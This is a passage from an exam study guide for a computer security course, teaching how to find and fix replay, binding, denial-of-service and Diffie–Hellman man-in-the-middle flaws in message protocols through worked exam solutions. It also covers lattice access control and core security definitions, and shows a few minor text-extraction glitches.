$L_2 = (SL_2, C_2)$ iff $SL_1 \leq SL_2$ and $C_1 \subseteq C_2$, with $C_1, C_2 \subseteq \{A, I\}$ and $SL_1, SL_2 \in \{TS, S, C, P\}$. The partial order to draw: an arrow from L_1 to L_2 whenever $L_1 \sqsubseteq L_2$; because C and S are incomparable, the diagram has two parallel chains $P < C < TS$ and $P < S < TS$.

- *Applying Steps 4-5 (2b.1):* Read test: $L_O \sqsubseteq L_U$ would need $S \leq C$, but S and C are not comparable, so the level conjunct fails. Write test: $L_U \sqsubseteq L_O$ would need $C \leq S$, which fails for the same reason. Hence $L_U \not\sqsubseteq L_O$ and $L_O \not\sqsubseteq L_U$ — the labels are incomparable, so user U can neither read nor write object O, even though the compartment sets $\{A, I\}$ are identical.

- *Applying Step 6 (2b.2-2b.5, example labels):* (2) Read allowed: $L_U = (S, \{I\})$, $L_O = (P, \{I\})$: $P \leq S$ and $\{I\} \subseteq \{I\}$, so $L_O \sqsubseteq L_U$. (3) Read not allowed: $L_U = (S, \{I\})$, $L_O = (P, \{A\})$: the compartment test $\{A\} \subseteq \{I\}$ fails, so $L_O \not\sqsubseteq L_U$. (4) Write allowed: $L_U = (P, \{I\})$, $L_O = (S, \{I\})$: $P \leq S$ and $\{I\} \subseteq \{I\}$, so $L_U \sqsubseteq L_O$. (5) Write not allowed: $L_U = (S, \{I\})$, $L_O = (P, \{A\})$: the compartment test $\{I\} \subseteq \{A\}$ fails (and $S \not\leq P$), so $L_U \not\sqsubseteq L_O$.

Answer: 2b.1: C and S are incomparable levels, so neither read nor write. Examples: (2) $(S, \{I\})$ reads $(P, \{I\})$; (3) $(S, \{I\})$ cannot read $(P, \{A\})$; (4) $(P, \{I\})$ writes $(S, \{I\})$; (5) $(S, \{I\})$ cannot write $(P, \{A\})$.

For more practice, see past-exam instances: re-exam-problems-with-sample-solutions.pdf::2b.1

5 Question Type 5: Security protocol flaw analysis and repair

Theory Background (Start Here if You Know Nothing)

A ***security protocol*** is a recipe that says who sends which message to whom, and in which order, so that two or more parties can achieve a security goal (a payment, a file transfer, a shared key) even though the network between them is hostile. The protocol does not invent new cryptography — it ***embeds cryptographic primitives*** (building blocks such as signatures, MACs, encryption, hash functions, Diffie–Hellman) into a sequence of messages. The exam always states an ***attacker model***: ***Eve*** is a passive eavesdropper who only listens; a ***network attacker*** (Mallory) can intercept, modify, record, delete, and inject arbitrary messages but cannot break the primitives; a ***malicious principal*** is one of the protocol's own participants cheating from the inside. Every answer must be an attack the stated attacker can actually mount — you break the *protocol structure*, never the cryptography.

The primitives and what each one buys you: a ***hash function*** H maps any input to a fixed-size digest and is one-way (you cannot recover the input from the digest); a ***digital signature*** $Sig_{sk_A}(m)$ is produced with A's ***private key*** sk_A and verified by anyone with the matching ***public key*** pk_A — on these exams it is usually defined as $sign(k, m) = m, Enc_k(H(m))$, i.e. the message is sent together with the encryption of its hash, and verification recomputes the hash of the received message and compares it with the decrypted signature; a ***MAC*** (message authentication code) does the same job with a ***shared symmetric key***. The single most important fact in this question type:

a signature or MAC protects only the fields inside the signed blob. Any field transmitted next to the signature but outside it can be silently replaced by a network attacker, because verification recomputes the hash only over the signed part.

Security properties a protocol can aim for: ***confidentiality*** (only intended parties can read the data), ***authentication*** (the sender really is who it claims), ***integrity*** (the message was not modified in transit), ***freshness*** (this message belongs to *this* run of the protocol, not an old recording), ***explicitness*** / context binding (this message belongs to *this* protocol, recipient, amount, or file — not copied from another context), and ***non-repudiation*** (a party cannot later deny having agreed, provable to a third party). Each property has a standard failure and a standard fix, which is exactly what the sub-questions probe.

Freshness is provided by ***nonces*** (random one-time challenges; the receiver keeps a log and rejects any nonce seen before) or ***timestamps*** (the receiver accepts only values that are recent and not in the future). Without freshness inside the protected portion, an attacker can perform a ***replay attack***: record a genuinely valid signed message once, resend it later to repeat its effect (charge the same payment twice, reinstall an old genuine firmware version — a ***rollback***). The crucial trap: the nonce or timestamp must lie inside the signed portion. An unsigned nonce travels outside the signature, so the attacker simply swaps in a fresh nonce together with the replayed signature and the check passes. A related freshness device is the ***monotonic counter***: a stored value (for example the highest firmware version seen so far) that is only ever allowed to increase; the receiver rejects any message whose counter value is not greater than the stored one, so old genuine messages are refused.

Typical attacks to test for, in checklist order: ***replay/rollback*** (resend a captured valid message — fires when no signed nonce/timestamp and no receiver-side recency check); ***substitution / missing binding*** (a field such as the recipient, the amount, or $H(File)$ sits outside the signature, so the attacker swaps it — e.g. a signature over only *Amount* can be reused to pay a different merchant); ***impersonation and DoS via an unsigned first message*** (anyone can forge message 1, so the server burns expensive work — malware scans, signature verifications — on garbage; one mitigation is ***rate limiting***, capping how many requests per time unit the server accepts from a single source); and ***man-in-the-middle*** on ***Diffie–Hellman key exchange***: Alice and Bob pick private values X_A, X_B and exchange public values $Y_A = \alpha^{X_A} \bmod q$, $Y_B = \alpha^{X_B} \bmod q$, then each computes the shared key as the other's public value raised to their own private value, $(Y_B)^{X_A} = \alpha^{X_A X_B} = (Y_A)^{X_B} \bmod q$. If the public values travel *unsigned*, Carol intercepts both directions, substitutes her own Y_{C_a}, Y_{C_b}, and ends up sharing one key with Alice and another with Bob, able to read and rewrite all traffic. Fix: sign the DH public values with long-term keys or anchor them in ***CA certificates*** — a CA (***certificate authority***) is a trusted third party that signs a statement binding a public key to its owner's identity, so anyone who trusts the CA can verify which public key really belongs to Alice.

About ***non-repudiation***: a MAC under a shared key authenticates a message *between the two key holders*, but proves nothing to a judge or auditor, because either holder could have produced it. Only a signature (verifiable with a public key by anyone) gives third-party non-repudiation. Design guidelines from the lectures, worth quoting in fixes: every message contains a nonce; replies include the nonce being answered plus a fresh one; every message names sender and intended recipient and identifies the protocol, its version, and the message number.

Theory Cheat-Sheet

- Signature/MAC covers only what is inside it: unsigned fields are attacker-controlled.
- No signed nonce/timestamp ⇒ replay; fix = signed freshness + receiver rejects old/duplicate values.
- Missing field in the signed blob (recipient, amount, $H(File)$) ⇒ substitution / cross-context reuse; fix = move the field (or the hash) inside.
- Unsigned first message ⇒ impersonation + DoS (server burns expensive work); fix = authenticate message 1, cheap checks first.
- Bare DH values Y_A, Y_B ⇒ MitM with two separate keys; fix = sign the public values or use certificates.
- MAC = authentication between the two key holders only; signature = third-party non-repudiation. Always answer 'possible / not possible' first, then name the mechanism.

How to Identify

Use this scheme when the problem provides A message-level protocol narrated step by step (payment authorization, file sharing with malware scan, firmware distribution, submission/ack, Diffie–Hellman key exchange), with explicit message formulas such as $M = (PayGate, Alice, Amount)$ and $PayGate \to Alice : M, Sig_{sk_{PayGate}}(M)$, stated long-term public/private or shared keys, a definition of the signature primitive (often $sign(k, m) = m, Enc_k(H(m))$), the protocol's intended guarantees, and an attacker model (network attacker, malicious participant, or Carol doing MitM). and asks you to For each named attack or property (replay/rollback, tampering/integrity, signature binding, verification of origin, DoS, MitM, non-repudiation), decide whether the attack is possible; if possible, show exactly which missing element enables it and propose a minimal protocol change that prevents it; if not possible, state which aspect of the protocol (signature verification, hash binding, freshness check) prevents it. Look for keywords like: *"Security Protocols", "replay", "nonce", "timestamp", "signature", "propose a change to the protocol", "what aspect of the protocol prevents", "man in the middle", "impersonate", "bind", "verify", "multiple payments", "bypass the scan", "integrity violation", "non-repudiation", "deny the service".*

Algorithm: Checklist audit: freshness, binding, per-leg authentication, then minimal patch

Step 1: Map messages and goals: Tabulate every message $A \to B$: fields, Sig_{sk_A}(fields):

- who sends what, and which key protects it;
- exactly which fields are inside the signature/MAC versus sent bare;
- the stated goals (only Alice authorizes, the Bank verifies the originator requested it, . . .);
- the attacker model (outsider vs malicious participant vs MitM).

Step 2: Check freshness (replay): For each protected message, ask: is there a nonce or timestamp *inside* the signed portion, and does the receiver reject old/duplicate values? If not, anyone holding a copy (malicious party or eavesdropper) can resend it to repeat the effect (multiple payments, repeated unlocks, reinstalling an old genuine version = ***rollback***). Fix: signed nonce or timestamp, receiver rejects stale/reused values. An unsigned nonce is useless — it can be swapped along with the replayed signature.

Step 3: Check context binding: Verify every security-relevant field lies inside the signed/MAC'd blob:

- identities of sender and recipient;
- amounts, exercise ids, producer names;
- $Hash(File)$ for any bulk data.

Any field left outside can be substituted: signing only *Amount* lets an attacker reuse $Sig_{sk_{Alice}}(Amount)$ to pay a different merchant; a release signature without $Hash(File)$ lets the attacker swap the bulk content after signing. Fix: move the missing field (or the hash of the bulk data) inside the signed portion.

Step 4: Check each leg's authentication: For every message, ask what happens if anyone can forge it. An unsigned first message lets strangers impersonate a legitimate user and force expensive server work (virus scans, hash comparisons, signature verifications) — a ***DoS***. Fix: authenticate the first message (signature plus nonce) so the server rejects unauthorized or duplicate requests before committing resources, or at least run cheap sanity checks and rate limiting before any expensive verification.

Step 5: Check key establishment: If the protocol uses unauthenticated Diffie–Hellman ($Y_A = \alpha^{X_A} \bmod q$ exchanged bare), an active MitM Carol substitutes her own public values, establishing separate keys K_{AC} with Alice and K_{BC} with Bob, and relays/decrypts all traffic. Fix: sign the DH public values with long-term private keys (authenticated DH) or anchor them in CA certificates. If keys are pre-provisioned (no in-protocol establishment), state that this check passes and why.

Step 6: Check non-repudiation and intent: Ask whether the final verifier can prove each party actually agreed to *this* instance. If Alice can produce the final signed message without any input from the originator, the verifier cannot confirm the originator requested it. Fix: forward the originator's signature along the chain (and add a nonce to that origin message to stop replay by the forwarder). Shared-key MACs authenticate but give no non-repudiation to a third party — flag this if repudiation disputes are asked.

Step 7: Answer both directions explicitly: For each sub-question, answer 'possible' or 'not possible' first.

- Not possible ⇒ name the blocking mechanism (e.g. the Bank verifies $Sig_{sk_{Alice}}(M)$ against M and pk_{Alice}, so modifying $Amount$ breaks verification).
- Possible ⇒ give the concrete attack sequence, then a minimal fix, stating which goal the fix restores.

Never propose a fix without naming the flaw it addresses.

Exam Variations & Traps

- **Variation 1 (Replay via missing freshness):** Payment/authorization protocols where the decisive signed message contains no nonce or timestamp ($Alice \to Bank : M, Sig_{sk_{Alice}}(M)$). Attack: resend the captured message for multiple payments, or resend an old genuine firmware release to roll a device back to a vulnerable version (rollback). Step 2 fires; fix is a signed nonce/timestamp (or monotonic version counter) plus receiver-side rejection of old messages. Trap: the nonce must be inside the signature — an unsigned nonce can be swapped.
- **Variation 2 (Role reversal: attack is NOT possible):** Some subquestions ask 'can the originator modify the amount after the user signed?' and the correct answer is NO: the verifier checks the signature over the full message M, so any tampering breaks verification. Trap: assuming every subquestion hides a flaw — you must argue which aspect of the protocol prevents the attack instead of inventing one.
- **Variation 3 (Missing hash binding lets content be swapped):** Bulk-data variant: the signed or MAC'd proof (e.g. $(Server, Alice, OK, Time3)$ or $Sig_{sk_{Dev}}(FwID, Version)$) omits $Hash(File)$, so the sender or a MitM attaches the valid proof to different, unchecked content. Step 3 fires with bulk data; fix is to include the file hash in the protected portion and have the receiver reject mismatches, or have the originator sign the final message herself.
- **Variation 4 (Unauthenticated first message / unauthenticated DH):** Two guises of the same gap: (a) an unsigned upload request lets non-clients spam the server into expensive work — malware scans or signature verifications (DoS) — fix with a signature plus nonce on message 1 or cheap prefiltering; (b) bare DH values Y_A, Y_B let Carol run two parallel exchanges as man in the middle — fix by signing the public values. Trap: attacker capabilities are limited (cannot break the primitive), so the attack must exploit protocol structure, not cryptography.

Guided Walkthrough (Learn the Method on One Question)

Problem: A security-camera vendor distributes firmware in three hops. Dev (the development team) holds a long-term public/private key pair, and every other party knows pk_{Dev}. Dist (a regional distribution server) and Cam (each installed camera) share a

long-term symmetric key K_{DC} provisioned at installation. $Sign_k(m)$ is defined as the encryption of the hash of m with k, and $MAC_K(m)$ is a message authentication code under shared key K. The protocol: Step 1: $Dev \to Dist : FwID, Version, Firmware, Sig_{sk_{Dev}}(FwID, Versi$ Step 2: Dist verifies Dev's signature and, if valid, stores the release. Step 3: $Dist \to Cam : FwID, Version, Firmware, MAC_{K_{DC}}(FwID, Version, Hash(Firmware))$. Step 4: Cam verifies the MAC and installs $Firmware$. Intended goals: Cam installs only authentic firmware published by Dev; Dist stores only genuine Dev releases; devices must not be rolled back to old vulnerable versions. Attacker model: a network attacker who can intercept, modify, record and inject arbitrary messages (but cannot break the primitives); part (b) additionally concerns a dispute between the insiders. (a) Can the network attacker make Dist store, and later distribute, a modified (trojaned) firmware, even though Dist verifies Dev's signature on every received step-1 message? If possible, give the attack and a minimal fix; if not, state what prevents it. (b) After a trojaned firmware bricks cameras, Dev and Dist blame each other. From Cam's stored step-3 message alone, can Cam prove to an independent auditor who is responsible for the firmware it installed? Answer for each hop separately. (c) Can the network attacker make Cam reinstall an old, genuine, but vulnerable firmware release that Dev really signed and Dist really distributed earlier? If possible, propose a fix. (d) Can the attacker impersonate Dev towards Dist, and can the attacker exhaust Dist's resources with forged step-1 messages? Answer both parts separately.

Solution (every step explained, including WHY):

- *Applying Step 1 (map):* Map before judging. Leg 1 (Dev → Dist) puts $(FwID, Version)$ *inside* $Sig_{sk_{Dev}}$ but the bulk $Firmware$ travels *outside* any protection. Leg 2 (Dist → Cam) protects $(FwID, Version, Hash(Firmware))$ with a MAC under the shared key K_{DC}. Keys: asymmetric pair for Dev; symmetric K_{DC} pre-provisioned; no key establishment inside the protocol. Beginner tip: draw two columns — 'inside the signature/MAC' and 'sent bare' — because every attack in this question type comes from something in the 'bare' column or from missing freshness. Red flags already visible: unsigned bulk data on leg 1, MAC-only leg 2, no nonce or timestamp anywhere.

- *Applying Step 2 (freshness):* Part (c). Freshness check fails on leg 2: the step-3 message contains no nonce or timestamp, and although $Version$ sits inside the MAC, Cam never checks it for recency. The attacker records an old genuine step-3 message once and replays it later; the MAC still verifies (it is a genuine tag), so Cam reinstalls the old vulnerable firmware — a ***rollback***. Attack: possible. Fix: Cam keeps a monotonic counter and rejects any $Version$ not greater than the installed one, or Dist includes a timestamp inside the MAC and Cam rejects stale values. Mistake to avoid: proposing a timestamp *outside* the MAC — the attacker would just replace it together with the replayed tag.

- *Applying Step 3 (binding):* Part (a). Binding check fails on leg 1: Dev's signature covers only $(FwID, Version)$, not $Hash(Firmware)$. The attacker intercepts a step-1 message, replaces $Firmware$ with a trojaned build $Firmware'$, and forwards $(FwID, Version, Firmware', Sig_{sk_{Dev}}(FwID, Version))$. Dist's verification succeeds because the signed part is untouched — verification hashes only what was signed — so Dist stores and later distributes $Firmware'$. Attack: possible. Fix: $Dev \to Dist : FwID, Version, Firmware, Sig_{sk_{Dev}}(FwID, Version, Hash(Firmware))$,

and Dist rejects on hash mismatch. Note the leg-2 MAC does *not* save us: Dist computes it honestly over the already-trojaned firmware. A common beginner error is answering 'not possible because Dist verifies the signature' — verification says nothing about data that was never signed.

- *Applying Step 4 (per-leg authentication):* Part (d), two separate answers. Impersonation of Dev: *not possible* — the attacker cannot forge $Sig_{sk_{Dev}}$, and Dist rejects any message whose signature does not verify, so no forged release is ever stored. Name the blocking mechanism: signature verification against pk_{Dev}. Resource exhaustion: *possible* — every garbage message forces an expensive public-key signature verification before Dist can reject it, so flooding Dist with random step-1 messages is a ***DoS***. Fix: cheap pre-filtering before verification (well-formed fields, known $FwID$, expected $Version$ range, per-source rate limiting). Leg 2 passes the outsider check: only the two holders of K_{DC} can produce a valid MAC, so an outsider cannot inject a step-3 message at all.

- *Applying Step 5 (key establishment):* Not applicable, and say so: the protocol contains no Diffie–Hellman exchange and no in-protocol key setup — pk_{Dev} is assumed known and K_{DC} is provisioned at installation. There are no bare $Y_A = \alpha^{X_A} \bmod q$ values for a MitM to substitute. Writing 'checked, passes because keys are pre-provisioned' shows the examiner you ran the full checklist instead of skipping items.

- *Applying Step 6 (non-repudiation):* Part (b) fails on both hops. Hop Dist → Cam: the step-3 message is protected by a MAC under the shared key K_{DC}, and either holder could have produced it — Cam could have fabricated the entry in its own log — so Cam *cannot* prove to an auditor that Dist sent it. Hop Dev → Dist: Dev did sign, but only $(FwID, Version)$; since the trojaned $Firmware'$ is not bound by that signature, Dev can truthfully deny having signed the firmware that was installed. Conclusion: from Cam's log alone, no one can be held accountable. Fix: the (a)-fix already makes Dev accountable for the exact firmware (signed hash); for Dist accountability, replace the MAC with $Sig_{sk_{Dist}}(FwID, Version, Hash(Firmware))$, which a third party can verify. Key fact: a MAC authenticates between key holders but gives a third party nothing.

- *Applying Step 7 (verdicts):* Both directions answered explicitly: (a) *Possible* — bulk data outside the signed blob; fix by signing $Hash(Firmware)$. (b) *Not provable* — MAC gives no third-party non-repudiation and Dev's signature excludes the firmware; fix with per-hop signatures. (c) *Possible* — no freshness inside the MAC and no recency check; fix with a monotonic version counter or MAC'd timestamp. (d) Impersonation *not possible* (Dist verifies $Sig_{sk_{Dev}}$ and forgeries are rejected); DoS *possible* (verification precedes rejection); fix with cheap pre-checks and rate limiting. Each fix names the flaw it addresses — never propose a fix in isolation.

Real Exam Questions (With Step-by-Step Solutions)

Exam Practice: Exam 2025-10-20 (DD2395/DD2391), Problem 6a

Problem: Alice wants to authorize a payment via PayGate, an online merchant platform; the actual payment is processed by Alice's Bank. All three parties have long-term public/private key pairs and every participant knows the public keys of all others. The protocol aims to ensure: only Alice can authorize a payment; the Bank can verify that PayGate requested the payment; the Bank can verify that Alice agreed to pay a specific amount to PayGate; PayGate cannot forge Alice's authorization. Step 1: PayGate prepares $M = (PayGate, Alice, Amount)$ and sends $PayGate \rightarrow Alice : M, Sig_{sk_{PayGate}}(M)$. Step 2: Alice verifies PayGate's signature and, if valid and she agrees, sends $Alice \rightarrow Bank : M, Sig_{sk_{Alice}}(M)$. Step 3: the Bank verifies Alice's signature and, if valid, completes the payment to PayGate. ($Sign_k(m)$ is a signature obtained by encryption of the hash of m with key k.) 6a (Replay Protection): Can a malicious PayGate or network attacker trigger multiple payments? If this is possible, propose a change to the protocol to prevent such attack. If it is not possible, explain what aspect of the protocol prevents it.

Solution:

- *Applying Step 1 (map):* Three parties, three messages. Step 1 carries $M = (PayGate, Alice, Amount)$ fully inside PayGate's signature; step 2 carries the same M fully inside Alice's signature; step 3 is the Bank's verification and payment. The decisive message for the payment is Alice's signed M — whoever presents a valid $M, Sig_{sk_{Alice}}(M)$ to the Bank triggers a payment. No nonce or timestamp appears anywhere in the protocol.

- *Applying Step 2 (freshness):* Check freshness of the decisive message: Alice's message $M, Sig_{sk_{Alice}}(M)$ contains no nonce or timestamp, and the Bank performs no recency or duplicate check — it only verifies the signature. Anyone holding a copy of one genuine authorization can therefore resend it.

- *Applying Step 7 (verdict and fix):* Attack: *possible.* A network attacker who records Alice's message $M, Sig_{sk_{Alice}}(M)$ in transit (or a malicious PayGate that obtains a copy by eavesdropping on the Alice–Bank channel) replays it to the Bank; verification succeeds every time, so the Bank executes multiple payments. Fix: add a nonce or timestamp to the message from Alice, i.e. $Alice \rightarrow Bank : M, N, Sig_{sk_{Alice}}(M, N)$ — the nonce must be *inside* the signature — and the Bank rejects messages with old or already-seen nonce/timestamp values.

Answer: Possible — Alice's signed message has no nonce/timestamp, so it can be replayed for multiple payments; fix: signed nonce/timestamp plus receiver-side rejection of old or duplicate messages.

Exam Practice: Exam 2024-10-22 (DD2395/DD2391), Problem 6b

Problem: A file-sharing system involves Alice (sender), Bob (recipient), and a Server that facilitates the sharing; $sign(k, msg) = msg, Enc_k(Hash(msg))$. Step 1: Alice sends $Alice \rightarrow Server : (Alice, File, Time1)$; the Server rejects if $Time1$ is too old or in the future. Step 2: the Server scans the file for malware and, if clean, sends an ack to Alice. Step 3: Alice sends $Alice \rightarrow Server : Sign(sk_A, (Alice, Hash(File), Time2))$; the Server verifies the signed hash corresponds to the scanned file, that $Time2$ is valid, and the signature via pk_A. Step 4: the Server creates $M_S = (Server, Alice, OK, Time3)$ and sends $Server \rightarrow Alice : Sign(sk_S, (Server, Alice, OK, Time3))$. Step 5: Alice sends $Alice \rightarrow Bob : (File, Sign(sk_S, (Server, Alice, OK, Time3)))$; Bob verifies with pk_S and checks $Time3$. Guarantees intended for Bob: the file originated from Alice, was not modified, and was checked by the Server. 6b (Scan bypass): Explain how Alice can bypass the malware scan, making Bob accept a file that has not been scanned. Solution: propose a solution to this problem.
Solution:

- *Applying Step 1 (map):* Five messages. The only cryptographic protection Bob relies on is the Server's signed proof $Sign(sk_S, (Server, Alice, OK, Time3))$. Inside that signature: the identities $Server, Alice$, the verdict OK, and a timestamp $Time3$ for freshness. Not inside it: $Hash(File)$ — nothing binds the proof to any particular file content.

- *Applying Step 3 (binding):* Binding check fails on the proof: because the signed proof omits $Hash(File)$, the same proof is valid for *any* file. Alice (a malicious principal here) first sends a benign file to the Server, which scans it and issues the proof; Alice then sends the proof together with a *different*, unscanned (malicious) file to Bob. Bob's verification succeeds — the signature is genuine and $Time3$ is fresh — so Bob accepts a file that was never scanned.

- *Applying Step 7 (verdict and fix):* Attack: *possible* — the fourth message (the proof) does not contain the hash of the file. Fix: add $Hash(File)$ to the signed proof, i.e. $Sign(sk_S, (Server, Alice, OK, Hash(File), Time3))$, and Bob rejects the file if the hash of the received file does not match the hash in the proof.

Answer: Possible — the Server's signed proof lacks $Hash(File)$, so Alice pairs a proof earned with a benign file with a different unscanned file; fix: sign $Hash(File)$ inside the proof and have Bob reject on hash mismatch.

Exam Practice: Exam 2020-01-10 (dasak19), Part II Problem 6.3

Problem: Alice and Bob want to compute a shared secret key using the Diffie–Hellman key exchange protocol. They have already shared the prime number q and a primitive root α of q. They have also chosen their private keys (X_A and X_B, respectively) and derived the corresponding public keys (Y_A and Y_B, respectively). (Sub-parts 1-2 ask what Alice and Bob send each other — their public keys Y_A, Y_B

— and how they compute the secret key — the other's public key to the power of their own private key mod q.) 6.3: Assuming Carol can intercept messages and performs a man-in-the-middle attack, draw the message exchange between Alice and Carol as well as between Carol and Bob.
Solution:

- *Applying Step 1 (map):* The protocol consists of exactly two messages: $Alice \rightarrow Bob : Y_A$ and $Bob \rightarrow Alice : Y_B$, where $Y_A = \alpha^{X_A} \bmod q$ and $Y_B = \alpha^{X_B} \bmod q$. Neither public value is signed or otherwise authenticated — there is no long-term key involved, so nothing proves to Bob that the value he received really came from Alice.

- *Applying Step 5 (key establishment):* Unauthenticated DH fails the key-establishment check. Carol picks her own private values and derives public values Y_{C_a} (used towards Alice) and Y_{C_b} (used towards Bob). The message exchange is: $A \rightarrow C : Y_A$, then $C \rightarrow B : Y_{C_b}$ (Carol replaces Alice's value); and $B \rightarrow C : Y_B$, then $C \rightarrow A : Y_{C_a}$ (Carol replaces Bob's value). In arrow notation: $A \rightarrow C : Y_A,\ C \rightarrow B : Y_{C_b};\ A \leftarrow C : Y_{C_a},\ C \leftarrow B : Y_B$.

- *Applying Step 7 (verdict and fix):* Result: Alice computes her shared key from Y_{C_a}, obtaining $K_{AC} = (Y_{C_a})^{X_A} \bmod q$ which she shares with Carol; Bob computes $K_{BC} = (Y_{C_b})^{X_B} \bmod q$ which he shares with Carol. Alice and Bob hold *different* keys, each shared with Carol, who can decrypt, read, modify, and re-encrypt all traffic between them. Attack: possible, because the public values are unauthenticated. Fix (standard repair): authenticate the DH public values — sign Y_A, Y_B with long-term private keys or anchor them in CA certificates.

Answer: Carol substitutes her own public values: A-¿C: Y_A, C-¿B: Y_C_b; A¡-C: Y_C_a, C¡-B: Y_B — ending up with separate shared keys with Alice and with Bob (full MitM).

For more practice, see past-exam instances: reexam-problems.-with-solutions.pdf::5a

6 Question Type 6: Concept true/false (or multiple-choice) with one-to-three-sentence justification

Theory Background (Start Here if You Know Nothing)

These questions sample the ***vocabulary layer*** of the whole course, so the theory to master is a set of crisp definitions. ***CIA triad***: ***confidentiality*** = protection from unauthorized *disclosure* (a read leak), ***integrity*** = protection from unauthorized *modification* (output correct per specification), ***availability*** = protection from *loss of use* (DoS attacks target availability). The matching threat names are ***disclosure*** (against confidentiality), ***deception/disruption/usurpation*** (against integrity — disruption is counted as loss of integrity of service, and as a threat against availability when it blocks use entirely; on this exam, disruption was treated as an availability threat), and ***denial of service*** (against availability). ***Privacy*** is not a synonym of confidentiality:

it concerns information *about individuals* and includes control, context and metadata. The ***Saltzer–Schroeder principles*** are a favourite trap source and the list must be memorized *exactly* — there are eight:

- ***Least privilege***: every subject gets only the rights its task needs (fine-grained permissions).
- ***Fail-safe defaults***: default is deny; enumerate privileges (allowlists), not prohibitions.
- ***Economy of mechanism***: keep the security mechanism — the ***trusted computing base*** (***TCB***), i.e. the small core of hardware and software whose failure would break all security — as *simple and small* as necessary (KISS).
- ***Complete mediation***: the reference monitor checks every operation.
- ***Open design*** (Kerckhoffs): the attacker knows the algorithms; only the key is secret — no security through obscurity.
- ***Separation of privilege***: require collusion of two parties for a sensitive action.
- ***Least common mechanism***: minimize mechanisms shared by (and coupling) different users, since shared mechanisms are potential information channels.
- ***Psychological acceptability***: unusable security gets bypassed.

Defense in depth (overlapping, independent layers of mechanisms) is not one of the eight — it is a separate doctrine, and pairing it with the Saltzer–Schroeder list is exactly the wrong-principle trap this unit trains.

Authentication and access-control facts: the three ***authentication factors*** are something you *are* (biometrics), *know* (password, PIN), *have* (token, card); two-factor means two *independent categories* — a password plus a PIN is still one factor. ***Authentication*** itself has two parts: claiming an attribute and proving it to a verifier. ***Salts*** are random, per-user and public, non-secret; they defeat precomputation/rainbow tables and force per-user work ($O(M \cdot N)$ instead of $O(M + N)$ for M candidates and N users), they do not make weak passwords strong. ***DAC***: owner sets permissions; ***MAC***: central authority (e.g. Bell–LaPadula). ***ACL*** = matrix column per object (easy per-object review, simple revocation, vulnerable to ***confused deputy***); ***capability*** = unforgeable name+privilege bundle per principal (no confused deputy, but review/delegation/revocation are hard). Access control is about ***authorization*** and is meaningless unless the subject is first authenticated.

Network-security definitions: a ***packet-filtering firewall*** drops whole packets based on *header metadata only* (src/dest IP and port, protocol, interface) — it cannot filter payload content; content filtering needs an ***application-level gateway***/proxy or deep packet inspection, and even ***deep packet inspection*** (DPI) cannot read an *end-to-end encrypted* connection — it sees only ciphertext and metadata. A ***stateful inspection firewall*** additionally tracks the TCP connection table. IDS deployment: ***NIDS*** (on the network, cheap, transparent, but suffers inconsistent interpretation and cannot read TLS), ***HIDS*** (per host, sees what the host sees, handles encryption), log-based (cheap, no real-time). Detection styles: ***signature-based*** (blacklist of known attacks — misses new attacks, since a signature must be known in advance), ***specification-based*** (whitelist of allowed behaviour), ***anomaly-based*** (learned model of normal — high false positives), ***behavioural*** (flags effects of compromise). Every detector has ***false positives*** (benign flagged) and ***false negatives*** (attacks missed); the ***base-rate fallacy*** means that with

rare attacks even a tiny false-positive rate makes most alerts false alarms — e.g. with a 0.01% false-positive rate applied to millions of benign events, false alarms vastly outnumber the rare true attacks. DoS mechanics: ***ICMP/UDP floods*** exhaust *bandwidth* (fixable only upstream — victim-side dropping fails because the upstream link is already congested); a ***SYN flood*** exhausts the server's *pending-connection table* (state exhaustion), possible with less bandwidth than the victim; defences are timeouts, per-IP limits and ***SYN cookies***. ***Reflection/amplification*** abuses UDP spoofing (a 60-byte DNS query yields up to 4 KB response); ***ingress filtering*** (BCP 38) at the *attacker's* ISP blocks spoofed sources.

Systems and software facts: ***stack canaries*** place a random value between locals and the saved return address and *detect* its change on return — they miss overwrites that hijack before the return or leak the canary. ***W ⊕ X / NX***: data pages non-executable, blocks injected shellcode but not ROP/JOP (which reuse existing code) or data-only attacks. ***ASLR*** randomizes the layout of stack, heap and code; it fails on pointer leaks, and stack-only ASLR preserves code addresses and relative offsets. ***Guard pages*** are MMU-illegal pages that abort on any access, catching overflows and over-reads. ***Side channels*** are *passive, non-invasive* observations of byproducts (time, cache, power); ***fault injection*** (e.g. electromagnetic pulses, Rowhammer) is *active* and flips state — these two are frequently swapped in traps. Malware taxonomy: a ***virus*** needs a host program and user action to spread, a ***worm*** self-propagates over the network, ***polymorphic/encrypting*** malware rewrites or re-encrypts itself so each infection looks unique, evading signatures; a ***botnet*** of hijacked machines can be rented out, e.g. to mine cryptocurrency for the botmaster. Web facts: the ***SOP*** isolates origins (scheme, domain, port); ***HttpOnly*** hides a cookie from JavaScript, ***Secure*** restricts it to HTTPS, ***SameSite=Strict*** sends it only same-site; parameterized queries are the correct SQLi defence. Social engineering exploits *desirable* human traits (helpfulness, reciprocity, trust in authority) and works by reducing systematic thinking (time pressure, fear, altercasting) — it is independent of the victim's intelligence, so purely technical countermeasures cannot fully stop it.

Theory Cheat-Sheet

- CIA: read leak (disclosure) = confidentiality, modification = integrity, loss of use (disruption/DoS) = availability. Privacy > confidentiality (about individuals, control, metadata).
- Principles (all eight): least privilege = minimum rights; fail-safe defaults = deny by default; economy of mechanism = small/simple TCB; complete mediation = check every operation; open design = attacker knows all but the key; separation of privilege = need two parties; least common mechanism = minimize shared mechanisms; psychological acceptability = usable or bypassed. Defense in depth is a separate doctrine, not on the list. Wrong-principle pairing is the classic trap.
- Factors: are/know/have; 2FA = two different categories. Salt: public, per-user, defeats rainbow tables, not weak passwords. Authentication = claim + proof; access control needs authentication first.
- Firewalls: packet filter = headers only, never payload; stateful = + connection table; content filtering = application proxy/DPI; DPI cannot read end-to-end encrypted traffic. SYN flood = state exhaustion (pending table, works with

less bandwidth); ICMP/UDP flood = bandwidth (only upstream/ISP can fix; ingress filtering kills spoofing).

- IDS: signature detects only known attacks; anomaly = learned normal, many false positives; every detector has FP and FN; base-rate fallacy: rare attacks ⇒ even a tiny FP rate floods you with false alarms.
- Defences' limits: canary detects return-address overwrite only; NX blocks injected code, not ROP/JOP; ASLR fails on leaks. Side channel = passive observation; fault injection = active. Virus needs host+user action; worm self-propagates.

How to Identify

